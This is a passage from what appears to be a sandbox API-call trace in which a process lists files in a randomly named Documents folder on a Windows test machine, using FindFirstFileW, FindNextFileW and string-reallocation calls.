pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.891] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", len=0x2e | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.891] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", len=0x2e | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG") returned 1 [0165.891] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\*", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\*", len=0x30 | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\*") returned 1 [0165.891] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\*", len=0x30 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\*") returned 1 [0165.891] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\*", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\*", len=0x30 | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\*") returned 1 [0165.892] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\*", len=0x30 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\*") returned 1 [0165.892] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\*", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\*", len=0x30 | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\*") returned 1 [0165.892] SysReAllocStringLen (in: pbstr=0x1e7df96c*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\*", len=0x30 | out: pbstr=0x1e7df96c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\*") returned 1 [0165.892] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\*", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\*", len=0x30 | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\*") returned 1 [0165.892] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\*", lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1978ae60, ftCreationTime.dwHighDateTime=0x1d5e3db, ftLastAccessTime.dwLowDateTime=0x3a2397b0, ftLastAccessTime.dwHighDateTime=0x1d5e034, ftLastWriteTime.dwLowDateTime=0x3a2397b0, ftLastWriteTime.dwHighDateTime=0x1d5e034, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1e258c88 [0165.892] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\.", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\.") returned 1 [0165.893] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\.", len=0x30 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\.") returned 1 [0165.893] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\.", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\.", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\.") returned 1 [0165.893] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\.", len=0x30 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\.") returned 1 [0165.893] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\.", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\.", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\.") returned 1 [0165.893] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\.", len=0x30 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\.") returned 1 [0165.893] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\.", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\.", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\.") returned 1 [0165.893] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1978ae60, ftCreationTime.dwHighDateTime=0x1d5e3db, ftLastAccessTime.dwLowDateTime=0x3a2397b0, ftLastAccessTime.dwHighDateTime=0x1d5e034, ftLastWriteTime.dwLowDateTime=0x3a2397b0, ftLastWriteTime.dwHighDateTime=0x1d5e034, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.894] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\.", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\..", len=0x31 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\..") returned 1 [0165.894] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\..", len=0x31 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\..") returned 1 [0165.894] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\..", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\..", len=0x31 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\..") returned 1 [0165.894] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\..", len=0x31 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\..") returned 1 [0165.894] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\..", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\..", len=0x31 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\..") returned 1 [0165.894] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\..", len=0x31 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\..") returned 1 [0165.894] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\..", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\..", len=0x31 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\..") returned 1 [0165.895] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa285d660, ftCreationTime.dwHighDateTime=0x1d5dd50, ftLastAccessTime.dwLowDateTime=0x12f060, ftLastAccessTime.dwHighDateTime=0x1d5df95, ftLastWriteTime.dwLowDateTime=0x12f060, ftLastWriteTime.dwHighDateTime=0x1d5df95, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bFhzBCrd4x8i", cAlternateFileName="BFHZBC~1")) returned 1 [0165.895] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\..", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.895] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.895] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.895] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.895] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.895] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.895] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.896] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.896] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.896] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.897] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.897] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.897] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.897] SysReAllocStringLen (in: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1e7df9bc*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.897] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.897] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.898] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.898] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.898] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.898] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.898] SysReAllocStringLen (in: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1e7df9b0*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.898] SysReAllocStringLen (in: pbstr=0x1fd3c0bc*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", len=0x3b | out: pbstr=0x1fd3c0bc*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i") returned 1 [0165.898] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a62afb0, ftCreationTime.dwHighDateTime=0x1d5dd8c, ftLastAccessTime.dwLowDateTime=0x46b4ac30, ftLastAccessTime.dwHighDateTime=0x1d5e1ba, ftLastWriteTime.dwLowDateTime=0x46b4ac30, ftLastWriteTime.dwHighDateTime=0x1d5e1ba, nFileSizeHigh=0x0, nFileSizeLow=0xa7b5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EeP8L9XDz_ZfOB.ods", cAlternateFileName="EEP8L9~1.ODS")) returned 1 [0165.898] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\bFhzBCrd4x8i", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\EeP8L9XDz_ZfOB.ods", len=0x41 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\EeP8L9XDz_ZfOB.ods") returned 1 [0165.898] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\EeP8L9XDz_ZfOB.ods", len=0x41 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\EeP8L9XDz_ZfOB.ods") returned 1 [0165.899] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\EeP8L9XDz_ZfOB.ods", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\EeP8L9XDz_ZfOB.ods", len=0x41 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\EeP8L9XDz_ZfOB.ods") returned 1 [0165.899] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\EeP8L9XDz_ZfOB.ods", len=0x41 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\EeP8L9XDz_ZfOB.ods") returned 1 [0165.899] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\EeP8L9XDz_ZfOB.ods", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\EeP8L9XDz_ZfOB.ods", len=0x41 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\EeP8L9XDz_ZfOB.ods") returned 1 [0165.899] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\EeP8L9XDz_ZfOB.ods", len=0x41 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\EeP8L9XDz_ZfOB.ods") returned 1 [0165.899] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\EeP8L9XDz_ZfOB.ods", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\EeP8L9XDz_ZfOB.ods", len=0x41 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\EeP8L9XDz_ZfOB.ods") returned 1 [0165.899] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe95cb0, ftCreationTime.dwHighDateTime=0x1d5e848, ftLastAccessTime.dwLowDateTime=0xda0d4da0, ftLastAccessTime.dwHighDateTime=0x1d5d9c4, ftLastWriteTime.dwLowDateTime=0xda0d4da0, ftLastWriteTime.dwHighDateTime=0x1d5d9c4, nFileSizeHigh=0x0, nFileSizeLow=0x18f92, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hmED.odp", cAlternateFileName="")) returned 1 [0165.899] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\EeP8L9XDz_ZfOB.ods", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\hmED.odp", len=0x37 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\hmED.odp") returned 1 [0165.899] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\hmED.odp", len=0x37 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\hmED.odp") returned 1 [0165.899] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\hmED.odp", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\hmED.odp", len=0x37 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\hmED.odp") returned 1 [0165.900] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\hmED.odp", len=0x37 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\hmED.odp") returned 1 [0165.900] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\hmED.odp", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\hmED.odp", len=0x37 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\hmED.odp") returned 1 [0165.900] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\hmED.odp", len=0x37 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\hmED.odp") returned 1 [0165.900] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\hmED.odp", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\hmED.odp", len=0x37 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\hmED.odp") returned 1 [0165.900] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8d09a90, ftCreationTime.dwHighDateTime=0x1d5e1a9, ftLastAccessTime.dwLowDateTime=0xded8b830, ftLastAccessTime.dwHighDateTime=0x1d5d99f, ftLastWriteTime.dwLowDateTime=0xded8b830, ftLastWriteTime.dwHighDateTime=0x1d5d99f, nFileSizeHigh=0x0, nFileSizeLow=0x2612, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ii5JlEwQ2lyXlysSijxq.odp", cAlternateFileName="II5JLE~1.ODP")) returned 1 [0165.900] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\hmED.odp", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ii5JlEwQ2lyXlysSijxq.odp", len=0x47 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ii5JlEwQ2lyXlysSijxq.odp") returned 1 [0165.900] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ii5JlEwQ2lyXlysSijxq.odp", len=0x47 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ii5JlEwQ2lyXlysSijxq.odp") returned 1 [0165.900] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ii5JlEwQ2lyXlysSijxq.odp", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ii5JlEwQ2lyXlysSijxq.odp", len=0x47 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ii5JlEwQ2lyXlysSijxq.odp") returned 1 [0165.901] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ii5JlEwQ2lyXlysSijxq.odp", len=0x47 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ii5JlEwQ2lyXlysSijxq.odp") returned 1 [0165.901] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ii5JlEwQ2lyXlysSijxq.odp", psz="C:\\Users\\aETAdzjz\\Documents\\_Lw_Ioi_qC44f0vdNG\\ii5JlEwQ2lyXlysSijxq.odp", len=0x47 | out: 